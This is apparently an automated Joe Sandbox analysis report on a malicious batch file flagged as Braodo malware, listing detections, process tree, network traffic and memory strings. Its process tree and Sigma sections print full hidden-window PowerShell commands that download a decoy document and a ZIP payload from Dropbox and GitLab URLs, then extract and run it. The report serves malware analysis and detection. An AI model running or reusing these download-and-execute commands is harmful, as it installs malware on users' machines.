Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
hsfgdf17.bat

Overview

General Information

Sample name:hsfgdf17.bat
Analysis ID:1578270
MD5:06959abf21b803443fd7e3e30d60a44a
SHA1:0d8090a1e9758571fa258cae3d23fb278d6401af
SHA256:55da73476956541558294fb3028f560b7ace6f6df3e6a2c9a409306c424235d5
Tags:batBraodouser-JAMESWT_MHT
Infos:

Detection

Abobus Obfuscator, Braodo
Score:92
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected Abobus Obfuscator
Yara detected Braodo
Yara detected Powershell download and execute
AI detected suspicious sample
Installs new ROOT certificates
Sigma detected: PowerShell DownloadFile
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Stores large binary data to the registry
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • cmd.exe (PID: 2428 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hsfgdf17.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 1560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • chcp.com (PID: 1728 cmdline: chcp.com 437 MD5: 33395C4732A49065EA72590B14B64F32)
    • find.exe (PID: 7116 cmdline: find MD5: 4BF76A28D31FC73AA9FC970B22D056AF)
    • find.exe (PID: 4144 cmdline: find MD5: 4BF76A28D31FC73AA9FC970B22D056AF)
    • cmd.exe (PID: 1248 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • findstr.exe (PID: 1440 cmdline: findstr /L /I set "C:\Users\user\Desktop\hsfgdf17.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)
    • findstr.exe (PID: 6176 cmdline: findstr /L /I goto "C:\Users\user\Desktop\hsfgdf17.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)
    • findstr.exe (PID: 3712 cmdline: findstr /L /I echo "C:\Users\user\Desktop\hsfgdf17.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)
    • findstr.exe (PID: 6192 cmdline: findstr /L /I pause "C:\Users\user\Desktop\hsfgdf17.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)
    • cmd.exe (PID: 6464 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • powershell.exe (PID: 5876 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • powershell.exe (PID: 3176 cmdline: powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx'" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • powershell.exe (PID: 3948 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • powershell.exe (PID: 7120 cmdline: powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • powershell.exe (PID: 652 cmdline: powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\Document\pythonw.exe C:\Users\Public\Document\DLLs\ld_312.pd clickapp" MD5: 04029E121A0CFA5991749937DD22A1D9)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
hsfgdf17.batJoeSecurity_AbobusObfuscatorYara detected Abobus ObfuscatorJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    Process Memory Space: powershell.exe PID: 5876JoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
      Process Memory Space: powershell.exe PID: 3948JoeSecurity_Braodo_1Yara detected BraodoJoe Security
        Process Memory Space: powershell.exe PID: 3948JoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security

          Other

          SourceRuleDescriptionAuthorStrings
          amsi64_5876.amsi.csvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
            amsi64_3948.amsi.csvJoeSecurity_Braodo_1Yara detected BraodoJoe Security
              amsi64_3948.amsi.csvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
                amsi64_652.amsi.csvJoeSecurity_Braodo_1Yara detected BraodoJoe Security

                  Sigma Signatures

                  System Summary

                  barindex
                  Sigma detected: PowerShell DownloadFile
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hsfgdf17.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", ProcessId: 5876, ProcessName: powershell.exe
                  Sigma detected: Suspicious Script Execution From Temp Folder
                  Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hsfgdf17.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", ProcessId: 5876, ProcessName: powershell.exe
                  Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
                  Source: File createdAuthor: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3948, TargetFilename: C:\Users\Public\Document.zip
                  Sigma detected: PowerShell Download Pattern
                  Source: Process startedAuthor: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hsfgdf17.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", ProcessId: 5876, ProcessName: powershell.exe
                  Sigma detected: PowerShell Web Download
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hsfgdf17.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", ProcessId: 5876, ProcessName: powershell.exe
                  Sigma detected: Usage Of Web Request Commands And Cmdlets
                  Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hsfgdf17.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", ProcessId: 5876, ProcessName: powershell.exe
                  Sigma detected: Non Interactive PowerShell Process Spawned
                  Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\hsfgdf17.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')", ProcessId: 5876, ProcessName: powershell.exe

                  Suricata Signatures

                  ⊘No Suricata rule has matched

                  Joe Sandbox Signatures

                  Click to jump to signature section

                  Show All Signature Results

                  AV Detection

                  barindex
                  AI detected suspicious sample
                  Source: Submited SampleIntegrated Neural Analysis Model: Matched 89.9% probability
                  Source: unknownHTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.5:49704 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49718 version: TLS 1.2
                  Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.2246646325.0000026A1716A000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.pdbN|2h|2 Z|2_CorDllMainmscoree.dll source: powershell.exe, 0000000F.00000002.2374989163.0000027168760000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: sm.pdb source: powershell.exe, 00000010.00000002.2497486178.000001D529302000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: n.pdb source: powershell.exe, 0000000C.00000002.2266521727.0000026A2F3B9000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: 6?ll\System.pdb% source: powershell.exe, 0000000F.00000002.2374989163.00000271687B8000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.2246646325.0000026A1716A000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbT source: powershell.exe, 0000000C.00000002.2246646325.0000026A1716A000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\System.Management.Automation.pdbc source: powershell.exe, 00000010.00000002.2493288210.000001D5290DE000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: Qib.pdb2) source: powershell.exe, 00000010.00000002.2493288210.000001D529065000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.pdb source: powershell.exe, 0000000F.00000002.2374989163.0000027168760000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 0000000F.00000002.2374989163.00000271687B8000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000010.00000002.2493288210.000001D5290DE000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: n.pdb~ source: powershell.exe, 0000000F.00000002.2377129314.0000027168A83000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.2266123287.0000026A2F351000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: ystem.pdbj source: powershell.exe, 0000000C.00000002.2246646325.0000026A17158000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb] source: powershell.exe, 0000000F.00000002.2374989163.00000271687B8000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000010.00000002.2493288210.000001D529020000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: mscorlib.pdb source: powershell.exe, 00000010.00000002.2493288210.000001D529065000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2497486178.000001D529302000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbvT5 source: powershell.exe, 0000000C.00000002.2266521727.0000026A2F3B9000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 0000000C.00000002.2266521727.0000026A2F3B9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2377129314.0000027168A83000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb.com1 source: powershell.exe, 0000000F.00000002.2377129314.0000027168A83000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: *.pdbD source: powershell.exe, 0000000F.00000002.2315926744.000002714E8DA000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: ion.pdb source: powershell.exe, 0000000F.00000002.2315926744.000002714E8DA000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: System.IO.Compression.FileSystem.pdb source: powershell.exe, 00000010.00000002.2497486178.000001D529302000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: CallSite.Target.pdbile source: powershell.exe, 00000010.00000002.2497486178.000001D529302000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb~& source: powershell.exe, 0000000C.00000002.2246646325.0000026A1716A000.00000004.00000020.00020000.00000000.sdmp
                  Source: global trafficHTTP traffic detected: GET /scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /garvdsf/dsfg/-/raw/main/FGa1712.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive
                  Source: Joe Sandbox ViewIP Address: 172.65.251.78 172.65.251.78
                  Source: Joe Sandbox ViewIP Address: 162.125.69.18 162.125.69.18
                  Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                  Source: global trafficHTTP traffic detected: GET /scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /garvdsf/dsfg/-/raw/main/FGa1712.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A1886C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: Policy: font-src https://* data: ; img-src https://* data: blob: ; base-uri 'self' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; frame-ancestors 'self' https://*.dropbox.com ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://*.purple.officeapps.live-int.com https://officeapps-df.live.com https://*.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; connect-src https://* ws://127.0.0.1:*/ws blob: wss://dsimports.dropbox.com/ ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://*.dropboxusercontent.com/p/hls_master_playlist/ https://*.dropboxusercontent.com/p/hls_playlist/ ; media-src https://* blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: equals www.yahoo.com (Yahoo)
                  Source: powershell.exe, 0000000C.00000002.2246968888.0000026A18870000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: font-src https://* data: ; img-src https://* data: blob: ; base-uri 'self' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; frame-ancestors 'self' https://*.dropbox.com ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://*.purple.officeapps.live-int.com https://officeapps-df.live.com https://*.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ 